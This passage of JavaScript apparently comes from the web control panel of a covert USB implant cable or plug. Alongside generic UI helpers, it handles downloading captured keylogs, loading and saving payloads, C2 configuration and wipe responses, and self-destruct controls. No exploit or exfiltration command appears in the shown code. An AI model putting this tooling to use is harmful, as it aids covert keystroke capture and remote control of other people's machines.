{\n\t\t\t\tconst key = number + ',' + size;\n\t\t\t\tif (cache[key]) {\n\t\t\t\t\treturn cache[key];\n\t\t\t\t}\n\t\t\t\tnumber = parseInt(number);\n\t\t\t\tlet b1 = number.toString(16);\n\t\t\t\tif (b1.length === 1) {\n\t\t\t\t\tb1 = '0' + b1;\n\t\t\t\t}\n\t\t\t\twhile (b1.length < size) b1 = '0' + b1;\n\t\t\t\tconst result = b1.toUpperCase();\n\t\t\n\t\t\t\tlogMessage(`DEBUG`, `toHex: [number]:[${number}] [b1]:[${b1}] [size]:[${size}]`);\n\t\t\n\t\t\t\tif (result === undefined || result === null) {\n\t\t\t\t\tconsole.log(\"No matching value for key: \", key);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\n\t\t\t\tcache[key] = result;\n\t\t\t\treturn result;\n\t\t\t};\n\t\t\n\t\t\tmemoizedFunction.invalidateCache = () => {\n\t\t\t\tcache = {};\n\t\t\t};\n\t\t\n\t\t\treturn memoizedFunction;\n\t\t})();\n\t\t\n\t\tfunction padHex(num) {\n\t\t\treturn num.toString(16).padStart(2, '0');\n\t\t}\n\t\t\n\t\tfunction padInput(value, length) {\n\t\t\tvalue = String(value);\n\t\t\tlet len = parseInt(length);\n\t\t\n\t\t\tif (isNaN(len) || len <= value.length) {\n\t\t\t\treturn value;\n\t\t\t}\n\t\t\n\t\t\treturn value.padStart(len, '0');\n\t\t}\n\t\t\n\t\tfunction asciiToHex(str) {\n\t\t\tvar arr1 = [];\n\t\t\tfor (var n = 0, l = str.length; n < l; n++) {\n\t\t\t\tvar hex = Number(str.charCodeAt(n)).toString(16);\n\t\t\t\tarr1.push(hex);\n\t\t\t}\n\t\t\treturn arr1.join('');\n\t\t}\n\t\t\n\t\tfunction unescapeHtml(html) {\n\t\t\tconst entitiesMap = {\n\t\t\t\t'&lt;': '<',\n\t\t\t\t'&gt;': '>',\n\t\t\t\t'&amp;': '&',\n\t\t\t\t'&quot;': '\"',\n\t\t\t\t'&apos;': \"'\",\n\t\t\t\t'&nbsp;': ' '\n\t\t\t};\n\t\t\n\t\t\treturn html.replace(/&lt;|&gt;|&amp;|&quot;|&apos;|&nbsp;/g, (matched) => {\n\t\t\t\treturn entitiesMap[matched];\n\t\t\t});\n\t\t}\n\t\t\n\t\tfunction crc16augccitt(str) {\n\t\t\tlet crc = 0x1D0F;\n\t\t\tlet polynomial = 0x1021;\n\t\t\n\t\t\tfor (let i = 0; i < str.length; i++) {\n\t\t\t\tlet byte = str.charCodeAt(i);\n\t\t\t\tfor (let j = 0; j < 8; j++) {\n\t\t\t\t\tlet bit = ((byte >> (7 - j) & 1) === 1),\n\t\t\t\t\t\tc15 = ((crc >> 15 & 1) === 1);\n\t\t\t\t\tcrc <<= 1;\n\t\t\t\t\tif (c15 ^ bit) crc ^= polynomial;\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t\tcrc &= 0xffff;\n\t\t\treturn crc.toString(16).toUpperCase();\n\t\t}\n\t\t\n\t\t\n\t\tfunction bigEndianToLittleEndian(hexString) {\n\t\t\tif (hexString.length % 2 !== 0) {\n\t\t\t\tconsole.error('Invalid hex string length. It must be a multiple of 2.');\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\n\t\t\tlet littleEndian = '';\n\t\t\tfor (let i = 0; i < hexString.length; i += 2) {\n\t\t\t\tlittleEndian = hexString.substring(i, i + 2) + littleEndian;\n\t\t\t}\n\t\t\n\t\t\treturn littleEndian;\n\t\t}\n\t\t\n\t\tfunction extractArg(args, pattern) {\n\t\t\tconst match = args.match(pattern);\n\t\t\treturn match ? match[1] : null;\n\t\t}\n\t\t\n\t\tfunction sleep(ms) {\n\t\t\treturn new Promise(resolve => setTimeout(resolve, ms));\n\t\t}\n\t\t\n\t\tfunction toggleClassBasedOnStatus(elementId, className, status, desiredStatus) {\n\t\t\tlet element = document.getElementById(elementId);\n\t\t\n\t\t\tif (status === desiredStatus && !element.classList.contains(className)) {\n\t\t\t\telement.classList.add(className);\n\t\t\t} else if (status !== desiredStatus && element.classList.contains(className)) {\n\t\t\t\telement.classList.remove(className);\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction toggleModule(moduleName, openClose) {\n\t\t\tconst moduleElement = document.getElementById(moduleName);\n\t\t\tconst isVisible = moduleElement.classList.contains('visible');\n\t\t\tconst shouldOpen = openClose === \"open\" ? true : (openClose === \"close\" ? false : !isVisible);\n\t\t\n\t\t\ttoggleVisibility(moduleElement, shouldOpen);\n\t\t}\n\t\t\n\t\tfunction toggleVisibility(element, isVisible) {\n\t\t\telement.classList.toggle('visible', isVisible);\n\t\t\telement.classList.toggle('hidden', !isVisible);\n\t\t}\n\t\t\n\t\tfunction toggleClass(id, class1, class2) {\n\t\t\tconst element = document.getElementById(id);\n\t\t\tif (element) {\n\t\t\t\telement.classList.remove(class1);\n\t\t\t\telement.classList.add(class2);\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction toggleClassVisibility(id, visibleClassName, isVisible) {\n\t\t\tconst element = document.getElementById(id);\n\t\t\tif (element) {\n\t\t\t\telement.classList.toggle(visibleClassName, isVisible);\n\t\t\t\telement.classList.toggle('hidden', !isVisible);\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction setElementInnerHTML(id, html) {\n\t\t\tconst element = document.getElementById(id);\n\t\t\tif (element) {\n\t\t\t\telement.innerHTML = html;\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction setElementValue(id, value, prop = 'value') {\n\t\t\tconst element = document.getElementById(id);\n\t\t\tif (element) {\n\t\t\t\telement[prop] = value;\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction modal(moduleName, mode) {\n\t\t\tconst targetModule = moduleName === \"modal\" ? moduleName : `${moduleName}Modal`;\n\t\t\ttoggleModule(targetModule, mode);\n\t\t}\n\t\t\n\t\tfunction modalCreate(label, message) {\n\t\t\tsetElementInnerHTML(\"modalLabel\", label);\n\t\t\tsetElementInnerHTML(\"modalMessage\", message);\n\t\t\ttoggleModalVisibility(true);\n\t\t\ttoggleModule(\"modal\", \"open\");\n\t\t}\n\t\t\n\t\tfunction toggleModalVisibility(visible) {\n\t\t\tconst modal = document.getElementById('modal');\n\t\t\tif (modal) {\n\t\t\t\tmodal.classList.toggle('hidden', !visible);\n\t\t\t\tmodal.classList.toggle('visible', visible);\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction colorNameToHue(colorName) {\n\t\t\tconst colors = {\n\t\t\t\tred: 5,\n\t\t\t\torange: 25,\n\t\t\t\tyellow: 45,\n\t\t\t\tgreen: 120,\n\t\t\t\tcyan: 190,\n\t\t\t\tteal: 210,\n\t\t\t\tblue: 230,\n\t\t\t\tpurple: 260,\n\t\t\t\tpink: 300,\n\t\t\t\tfuchsia: 320,\n\t\t\t\tmaroon: 340,\n\t\t\t\tbrown: 20,\n\t\t\t\tgrey: 0,\n\t\t\t};\n\t\t\n\t\t\treturn colors[colorName.toLowerCase()] || 0;\n\t\t}\n\t\t\n\t\tfunction setAccentColors(hue) {\n\t\t\tconst uiAccentColorMenuSelect = document.getElementById('uiAccentColor');\n\t\t\tconst r = document.querySelector(':root');\n\t\t\n\t\t\tif (!isNaN(hue) && hue >= 0 && hue <= 360) {\n\t\t\t\thslHue = hue;\n\t\t\t\tcustomColor = true;\n\t\t\t} else {\n\t\t\t\thslHue = colorNameToHue(hue);\n\t\t\t\tcustomColor = false;\n\t\t\t}\n\t\t\n\t\t\tif (hue == \"grey\") {\n\t\t\t\thslSat = \"0\";\n\t\t\t} else if (hue == \"brown\") {\n\t\t\t\thslSat = \"50\";\n\t\t\t} else {\n\t\t\t\thslSat = \"75\";\n\t\t\t}\n\t\t\n\t\t\tr.style.setProperty('--accentColor', `hsl(${hslHue}, ${hslSat}%, 32%)`);\n\t\t\tr.style.setProperty('--accentGradient1', `hsl(${hslHue}, ${hslSat}%, 23%)`);\n\t\t\tr.style.setProperty('--accentGradient2', `hsl(${hslHue}, ${hslSat}%, 41%)`);\n\t\t\n\t\t\tif (uiAccentColorMenuSelect && customColor == false) {\n\t\t\t\tuiAccentColorMenuSelect.value = hue;\n\t\t\t} else {\n\t\t\t\tcustomColor = document.getElementById('uicolorCustom');\n\t\t\t\tcustomColor.value = hue;\n\t\t\t\tuiAccentColorMenuSelect.value = hue;\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction hideElementsByClass(...classNames) {\n\t\t\tclassNames.forEach((className) => {\n\t\t\t\tconst elements = document.querySelectorAll('.' + className);\n\t\t\t\tfor (const element of elements) {\n\t\t\t\t\telement.classList.add('hidden');\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t\t\n\t\tfunction updateElementValue(id, value, prop = 'value') {\n\t\t\tconst element = document.getElementById(id);\n\t\t\tif (element) element[prop] = value;\n\t\t}\n\t\t\n\t\tfunction setRadioChecked(id) {\n\t\t\tconst element = document.getElementById(id);\n\t\t\tif (element) {\n\t\t\t\telement.checked = true;\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction processType(type) {\n\t\t\treturn typeMap[type] || typeMap['default'];\n\t\t}\n\t\t\n\t\tfunction processModel(model) {\n\t\t\treturn modelMap[model] || modelMap['default'];\n\t\t}\n\t\t\n\t\tfunction contentAreaToggle(moduleName) {\n\t\t\tconst modules = [\"keylog\", \"payload\", \"syslog\", \"c2log\", \"debug\"];\n\t\t\n\t\t\tif (moduleName === \"keylog\") {\n\t\t\t\tdownloadKeylog('1');\n\t\t\t}\n\t\t\n\t\t\tmodules.forEach(module => {\n\t\t\t\tdocument.getElementById(`contentArea_${module}`).classList.remove(`visible`);\n\t\t\t\tdocument.getElementById(`contentArea_${module}`).classList.add(`hidden`);\n\t\t\t\tdocument.getElementById(`contentSubNav_${module}`).classList.remove(`buttonSelected`);\n\t\t\t});\n\t\t\n\t\t\tdocument.getElementById(`contentArea_${moduleName}`).classList.replace(`hidden`, `visible`);\n\t\t\tdocument.getElementById(`contentSubNav_${moduleName}`).classList.add(`buttonSelected`);\n\t\t}\n\t\t\n\t\tfunction sidebarSettingsAreaToggle(moduleName) {\n\t\t\tdocument.getElementById(`sidebar_settings_queue`).classList.remove(`visible`);\n\t\t\tdocument.getElementById(`sidebar_settings_net`).classList.remove(`visible`);\n\t\t\tdocument.getElementById(`sidebar_settings_config`).classList.remove(`visible`);\n\t\t\tdocument.getElementById(`sidebar_settings_debug`).classList.remove(`visible`);\n\t\t\tdocument.getElementById(`sidebar_settings_queue`).classList.add(`hidden`);\n\t\t\tdocument.getElementById(`sidebar_settings_net`).classList.add(`hidden`);\n\t\t\tdocument.getElementById(`sidebar_settings_config`).classList.add(`hidden`);\n\t\t\tdocument.getElementById(`sidebar_settings_debug`).classList.add(`hidden`);\n\t\t\tdocument.getElementById(`sidebarNav_queue`).classList.remove(`buttonSelected`);\n\t\t\tdocument.getElementById(`sidebarNav_net`).classList.remove(`buttonSelected`);\n\t\t\tdocument.getElementById(`sidebarNav_config`).classList.remove(`buttonSelected`);\n\t\t\tdocument.getElementById(`sidebarNav_debug`).classList.remove(`buttonSelected`);\n\t\t\tdocument.getElementById(`sidebar_settings_${moduleName}`).classList.remove(`hidden`);\n\t\t\tdocument.getElementById(`sidebar_settings_${moduleName}`).classList.add(`visible`);\n\t\t\tdocument.getElementById(`sidebarNav_${moduleName}`).classList.remove(`buttonSelected`);\n\t\t\tdocument.getElementById(`sidebarNav_${moduleName}`).classList.add(`buttonSelected`);\n\t\t}\n\t\t\n\t\tfunction sidebarAreaToggle(moduleName) {\n\t\t\tif (moduleName != \"close\") {\n\t\t\t\tif (document.getElementById(`sidebar_${moduleName}`).classList.contains(`visible`)) {\n\t\t\t\t\tmoduleName = \"close\";\n\t\t\t\t}\n\t\t\t}\n\t\t\tdocument.getElementById(`sidebar`).classList.remove(`visible`);\n\t\t\tdocument.getElementById(`sidebar`).classList.add(`hidden`);\n\t\t\tdocument.getElementById(`sidebar_settings`).classList.remove(`visible`);\n\t\t\tdocument.getElementById(`sidebar_settings`).classList.add(`hidden`);\n\t\t\tdocument.getElementById(`sidebar_about`).classList.remove(`visible`);\n\t\t\tdocument.getElementById(`sidebar_about`).classList.add(`hidden`);\n\t\t\tdocument.getElementById(`sidebar_help`).classList.remove(`visible`);\n\t\t\tdocument.getElementById(`sidebar_help`).classList.add(`hidden`);\n\t\t\tif (moduleName != \"close\") {\n\t\t\t\tdocument.getElementById(`content`).classList.remove(`contentFullscreen`);\n\t\t\t\tdocument.getElementById(`content`).classList.add(`contentSidebar`);\n\t\t\t\tdocument.getElementById(`payloadFileMenu`).classList.remove(`footerFullscreen`);\n\t\t\t\tdocument.getElementById(`payloadFileMenu`).classList.add(`footerSidebar`);\n\t\t\t\tdocument.getElementById(`subnav`).classList.remove(`subnavFullscreen`);\n\t\t\t\tdocument.getElementById(`subnav`).classList.add(`subnavSidebar`);\n\t\t\t\tdocument.getElementById(`sidebar_${moduleName}`).classList.remove(`hidden`);\n\t\t\t\tdocument.getElementById(`sidebar_${moduleName}`).classList.add(`visible`);\n\t\t\t\tdocument.getElementById(`sidebar`).classList.remove(`hidden`);\n\t\t\t\tdocument.getElementById(`sidebar`).classList.add(`visible`);\n\t\t\t} else {\n\t\t\t\tdocument.getElementById(`content`).classList.remove(`contentSidebar`);\n\t\t\t\tdocument.getElementById(`content`).classList.add(`contentFullscreen`);\n\t\t\t\tdocument.getElementById(`payloadFileMenu`).classList.remove(`footerSidebar`);\n\t\t\t\tdocument.getElementById(`payloadFileMenu`).classList.add(`footerFullscreen`);\n\t\t\t\tdocument.getElementById(`subnav`).classList.remove(`subnavSidebar`);\n\t\t\t\tdocument.getElementById(`subnav`).classList.add(`subnavFullscreen`);\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction toggleSignalBars(elements, state) {\n\t\t\telements.forEach(element => {\n\t\t\t\tconst el = document.getElementById(element);\n\t\t\t\tel.classList.remove(state === 'on' ? 'wifiSignalOff' : 'wifiSignalOn');\n\t\t\t\tel.classList.add(state);\n\t\t\t});\n\t\t}\n\t\t\n\t\tfunction downloadFile(elementId, fileName, redactPasswords = true) {\n\t\t\tlogMessage(`CRIT`, `${fileName}`);\n\t\t\tlet text = document.getElementById(elementId).value;\n\t\t\n\t\t\tif (redactPasswords) {\n\t\t\t\tconst wifipass = document.getElementById('device-WIFIPassword').value;\n\t\t\t\tconst re = new RegExp(wifipass.replace(/[.*+\\-?^${}()|[\\]\\\\]/g, '\\\\$&'), 'g');\n\t\t\t\ttext = text.replace(re, '********');\n\t\t\t}\n\t\t\n\t\t\tconst textFileAsBlob = new Blob([text], { type: 'text/plain' });\n\t\t\tconst downloadLink = document.createElement(\"a\");\n\t\t\tdownloadLink.download = `${fileName}.txt`;\n\t\t\tdownloadLink.innerHTML = \"Download File\";\n\t\t\n\t\t\tconst createObjectURL = window.webkitURL ? window.webkitURL.createObjectURL : window.URL.createObjectURL;\n\t\t\tdownloadLink.href = createObjectURL(textFileAsBlob);\n\t\t\n\t\t\tif (!window.webkitURL) {\n\t\t\t\tdownloadLink.onclick = destroyClickedElement;\n\t\t\t\tdownloadLink.style.display = \"none\";\n\t\t\t\tdocument.body.appendChild(downloadLink);\n\t\t\t}\n\t\t\n\t\t\tdownloadLink.click();\n\t\t}\n\t\t\n\t\tfunction downloadModal() {\n\t\t\tconst modalName = document.getElementById('modalLabel').innerHTML;\n\t\t\tdownloadFile('modalMessage', `${modalName}-log`);\n\t\t}\n\t\t\n\t\tfunction saveKeylog() {\n\t\t\tdownloadFile('keylog', 'keylog');\n\t\t}\n\t\t\n\t\tasync function toggleFeatureFlags() {\n\t\t\tenabledFeatures = [];\n\t\t\tif (!featureFlags) {\n\t\t\t\tfeatureFlags = defaultFeatures;\n\t\t\t}\n\t\t\tfor (let i = 0; i < featureFlags.length; i++) {\n\t\t\t\tif (features[featureFlags[i]]) {\n\t\t\t\t\tfor (let key in features[featureFlags[i]]) {\n\t\t\t\t\t\tenabledFeatures.push(key);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tlogMessage(`CRIT`, `Supported Features: ${enabledFeatures}`);\n\t\t\tawait generateDebugMenu();\n\t\t}\n\t\t\n\t\tfunction applyFeatureFlags(type, model) {\n\t\t\tconst key = (type === 'p' || type === 'b') ? type + model : model;\n\t\t\tfeatureFlags = featureFlagMap[key] || [];\n\t\t\t\n\t\t\tif (type === 'p' && model === 'c') { // Plug Basic\n\t\t\t\thideElementsByClass('selfDestruct', 'keylog', 'c2', 'hidx');\n\t\t\t}\n\t\t\tif (type === 'b' && model === 'd') { // Unblocker Elite\n\t\t\t\thideElementsByClass('keylog');\n\t\t\t}\n\t\t\tif (type === 'p' && model === 'd') { // Plug Elite\n\t\t\t\thideElementsByClass('keylog');\n\t\t\t}\n\t\t\tif (model === 'c') { // Basic Cable\n\t\t\t\thideElementsByClass('keylog', 'c2', 'hidx');\n\t\t\t}\n\t\t\tif (model === 'k') { // Plus Cable\n\t\t\t\thideElementsByClass('c2', 'hidx');\n\t\t\t}\n\t\t\tif (type === 'a' || type === 'c' || type === 'd') {\n\t\t\t\thideElementsByClass('plugIcon', 'blockerIcon'); // Cable\n\t\t\t}\n\t\t\tif (type === 'b' || type === 't') {\n\t\t\t\thideElementsByClass('plugIcon', 'cableIcon'); // Unblocker / Adapter\n\t\t\t}\n\t\t\tif (type === 'p') {\n\t\t\t\thideElementsByClass('cableIcon', 'blockerIcon'); // Plug\n\t\t\t}\n\t\t}\n\t\t\n\t\tconst parseData = (data) => {\n\t\t\tresponse = data;\n\t\t\tparameters = response.split(\"\\t\");\n\t\t\treturn { response, parameters };\n\t\t};\n\t\t\n\t\tconst updateElements = (elementMap) => {\n\t\t\tfor (const [elementId, value] of Object.entries(elementMap)) {\n\t\t\t\tupdateElement(elementId, value);\n\t\t\t}\n\t\t};\n\t\t\n\t\tfunction setElementValues(elementValues, domElement = null, activeClassElements = [], toggleClassElements = []) {\n\t\t\tconst valueElements = ['INPUT', 'SELECT', 'OPTION', 'TEXTAREA'];\n\t\t\tconst innerHtmlElements = ['DIV', 'SPAN', 'P', 'LI', 'H1', 'H2', 'H3', 'H4', 'H5', 'H6', 'DATA'];\n\t\t\n\t\t\tfor (const [elementId, item] of Object.entries(elementValues)) {\n\t\t\t\tconst element = document.getElementById(elementId);\n\t\t\n\t\t\t\tif (!element) {\n\t\t\t\t\tconsole.warn(`Element with ID: [${elementId}] not found in the DOM.`);\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\n\t\t\t\tlet value;\n\t\t\t\tlet updateMethod;\n\t\t\n\t\t\t\tif (typeof item === 'object' && item !== null && 'value' in item && 'method' in item) {\n\t\t\t\t\tvalue = item.value;\n\t\t\t\t\tupdateMethod = item.method;\n\t\t\t\t\telement[updateMethod] = value;\n\t\t\t\t} else {\n\t\t\t\t\tvalue = item;\n\t\t\n\t\t\t\t\tif (domElement) {\n\t\t\t\t\t\tupdateMethod = domElement;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif (valueElements.includes(element.tagName)) {\n\t\t\t\t\t\t\tupdateMethod = 'value';\n\t\t\t\t\t\t} else if (innerHtmlElements.includes(element.tagName)) {\n\t\t\t\t\t\t\tupdateMethod = 'innerHTML';\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\n\t\t\t\t\tif (updateMethod) {\n\t\t\t\t\t\telement[updateMethod] = value;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tconsole.warn(`Unable to determine update method for element: [elementId]:[${elementId}]. Provided domElement: [${domElement}], element's tagName: [${element.tagName}]. Check if the tagName is supported or the provided domElement parameter is valid.`);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\n\t\t\t\tif (activeClassElements.includes(elementId)) {\n\t\t\t\t\telement.classList[value === \"1\" ? 'add' : 'remove']('active');\n\t\t\t\t}\n\t\t\n\t\t\t\tif (toggleClassElements.hasOwnProperty(elementId)) {\n\t\t\t\t\telement.classList.toggle(toggleClassElements[elementId]);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction setElementChecked(id, isChecked) {\n\t\t\tconst element = document.getElementById(id);\n\t\t\tif (element) {\n\t\t\t\telement.checked = isChecked;\n\t\t\t}\n\t\t}\n\t\t\n\t\tconst sendCommands = (commands) => {\n\t\t\tcommands.forEach(command => sendMessage(command));\n\t\t};\n\t\t\n\t\tconst handleKey = (key, value, action) => {\n\t\t\tconst elementId = key.split('\"')[1];\n\t\t\tconst elementValue = value.split(':')[1].replace(/\"/g, '').trim();\n\t\t\tif (action === 'active') {\n\t\t\t\tdocument.getElementById(elementId).classList[elementValue === \"1\" ? 'add' : 'remove']('active');\n\t\t\t} else if (action === 'value') {\n\t\t\t\tupdateElement(elementId, elementValue);\n\t\t\t}\n\t\t};\n\t\t\n\t\tfunction viewDialog(id, action) {\n\t\t\tvar dialog = document.getElementById(id);\n\t\t\n\t\t\tif (!dialog) {\n\t\t\t\tif (action !== \"remove\") {\n\t\t\t\t\tconsole.error(\"No dialog found with id:\", id);\n\t\t\t\t}\n\t\t\t\treturn;\n\t\t\t}\n\t\t\n\t\t\tif (action === \"blockingOpen\") {\n\t\t\t\tdialog.showModal();\n\t\t\t} else if (action === \"open\") {\n\t\t\t\tdialog.setAttribute(\"open\", \"\");\n\t\t\t\tdialog.removeAttribute(\"close\");\n\t\t\t} else if (action === \"close\") {\n\t\t\t\tdialog.removeAttribute(\"open\");\n\t\t\t\tdialog.setAttribute(\"close\", \"\");\n\t\t\t} else if (action === \"remove\") {\n\t\t\t\tdialog.remove();\n\t\t\t} else {\n\t\t\t\tconsole.error(\"Invalid action:\", action);\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction createDialog({ id, title = '', description = '', action = null, closeEnabled = true }) {\n\t\t\tlet dialog = document.getElementById(id);\n\t\t\n\t\t\tif (!dialog) {\n\t\t\t\tdialog = document.createElement('dialog');\n\t\t\t\tdialog.id = id;\n\t\t\t\tdialog.classList.add('general-dialog');\n\t\t\n\t\t\t\tif (closeEnabled) {\n\t\t\t\t\tconst closeButton = document.createElement('button');\n\t\t\t\t\tcloseButton.textContent = 'X';\n\t\t\t\t\tcloseButton.classList.add('close-button');\n\t\t\t\t\tcloseButton.addEventListener('click', () => {\n\t\t\t\t\t\tdialog.close();\n\t\t\t\t\t});\n\t\t\t\t\tdialog.appendChild(closeButton);\n\t\t\t\t}\n\t\t\n\t\t\t\tif (title) {\n\t\t\t\t\tconst dialogTitle = document.createElement('h2');\n\t\t\t\t\tdialogTitle.textContent = title;\n\t\t\t\t\tdialog.appendChild(dialogTitle);\n\t\t\t\t}\n\t\t\n\t\t\t\tif (description) {\n\t\t\t\t\tconst dialogDescription = document.createElement('div');\n\t\t\t\t\tdialogDescription.innerHTML = description;\n\t\t\t\t\tdialog.appendChild(dialogDescription);\n\t\t\t\t}\n\t\t\n\t\t\t\tif (action) {\n\t\t\t\t\tconst dialogAction = document.createElement('button');\n\t\t\t\t\tdialogAction.textContent = action.text || 'OK';\n\t\t\t\t\tdialogAction.addEventListener('click', action.callback || (() => {}));\n\t\t\t\t\tdialog.appendChild(dialogAction);\n\t\t\t\t}\n\t\t\n\t\t\t\tdocument.body.appendChild(dialog);\n\t\t\t}\n\t\t\n\t\t\tif (!dialog.open) {\n\t\t\t\tdialog.showModal();\n\t\t\t}\n\t\t\n\t\t\treturn dialog;\n\t\t}\n\t\t\n\t\t// Process Message Responses\n\t\tfunction processOnMessage(responseText, responseHex) {\n\t\t\tlastMessage = Date.now();\n\t\t\tresponseTextParams = responseText.split(\"\\t\");\n\t\t\n\t\t\tif (responseTextParams[0] != \"CTList\") {\n\t\t\t\tlogMessage(\"DEBUG\", `WebSocket Message Received: [response]:[${responseText}]`);\n\t\t\t}\n\t\t\n\t\t\tswitch (responseTextParams[0]) {\n\t\t\t\tcase responseTextParams[0].match(/\\[custom\\]/)?.input:\n\t\t\t\t\tapiResponseCustom(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase responseTextParams[0].match(/\\[CHStatus\\]/)?.input:\n\t\t\t\t\tapiResponseCHStatus(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"CB\":\n\t\t\t\tcase \"CC\":\n\t\t\t\tcase \"CD\":\n\t\t\t\tcase \"CEError\":\n\t\t\t\tcase \"CFError\":\n\t\t\t\tcase \"CFGet\":\n\t\t\t\tcase \"CH\":\n\t\t\t\tcase \"CK\":\n\t\t\t\tcase \"CM\":\n\t\t\t\tcase \"CNSet\":\n\t\t\t\tcase \"CPStart\":\n\t\t\t\tcase \"CQ\":\n\t\t\t\tcase \"CR\":\n\t\t\t\tcase \"CTErase\":\n\t\t\t\tcase \"CTError\":\n\t\t\t\tcase \"CTSet\":\n\t\t\t\tcase \"CW\":\n\t\t\t\tcase \"E\":\n\t\t\t\tcase \"FB\":\n\t\t\t\tcase \"FE\":\n\t\t\t\tcase \"FM\":\n\t\t\t\tcase \"FR\":\n\t\t\t\tcase \"FW\":\n\t\t\t\tcase \"FX\":\n\t\t\t\tcase \"G\":\n\t\t\t\tcase \"CLDelete\":\n\t\t\t\tcase \"CLSetCursor\":\n\t\t\t\t\tapiResponse(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase responseTextParams[0].match(/CH Mode/)?.input:\n\t\t\t\t\tapiResponseCHStatus(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"C2Config\":\n\t\t\t\t\tapiResponseC2Config(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"C2Info\":\n\t\t\t\t\tapiResponseC2Info(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"C2Status\":\n\t\t\t\t\tapiResponseC2Status(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"C2Wipe\":\n\t\t\t\t\tapiResponseC2Wipe(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"CEStatus\":\n\t\t\t\t\tapiResponseCEStatus(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase responseTextParams[0].match(/CEStore/)?.input:\n\t\t\t\t\tapiResponseCEStore(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase responseTextParams[0].match(/CE/)?.input:\n\t\t\t\tcase responseTextParams[0].match(/ce/)?.input:\n\t\t\t\t\tapiResponseCE(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"CFList\":\n\t\t\t\t\tapiResponseCFList(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'CI':\n\t\t\t\t\tapiResponseCI(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase responseTextParams[0].match(/CJ/)?.input:\n\t\t\t\t\tapiResponseCJ(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase responseTextParams[0].match(/\\[dKAll\\]/)?.input:\n\t\t\t\t\tdownloadKeylog(responseText, responseHex);\n\t\t\t\t\tbreak;\n\t\t\t\tcase responseTextParams[0].match(/CLRead/)?.input:\n\t\t\t\t\tapiRequestCLRead(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"CLStart\":\n\t\t\t\t\tapiResponseCLStart(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"CLStatus\":\n\t\t\t\t\tapiResponseCLStatus(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"CLStop\":\n\t\t\t\t\tapiResponseCLStop(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"CNGet\":\n\t\t\t\t\tapiResponseCNGet(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"CO\":\n\t\t\t\t\tapiResponseCO(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"CPGet\":\n\t\t\t\t\tapiResponseCPGet(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase responseTextParams[0].match(/CS/)?.input:\n\t\t\t\t\tapiResponseCS(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"CTGet\":\n\t\t\t\t\tapiResponseCTGet(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"CTList\":\n\t\t\t\t\tapiResponseCTList(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase responseTextParams[0].match(/CU/)?.input:\n\t\t\t\t\tapiResponseCU(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"CV\":\n\t\t\t\t\tapiResponseCV(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase responseTextParams[0].match(/CZ/)?.input:\n\t\t\t\t\tapiResponseCZ(responseTextParams[2]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase responseTextParams[0].match(/\\[pL.*\\]/)?.input:\n\t\t\t\t\tapiResponsePayloadLoad(responseTextParams[2]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase responseTextParams[0].match(/\\[pS.*\\]/)?.input:\n\t\t\t\t\tapiResponsePayloadSave(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase responseTextParams[0].match(/\\[sB.*\\]/)?.input:\n\t\t\t\t\tapiResponseStatusBootSlot(responseTextParams[2]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"CWInfo\":\n\t\t\t\t\tapiResponseCWInfo(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"CWStatus\":\n\t\t\t\t\tapiResponseCWStatus(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"E\":\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"FSGet\":\n\t\t\t\t\tapiResponseFSGet(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"SFRead\":\n\t\t\t\t\tapiResponseSFRead(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 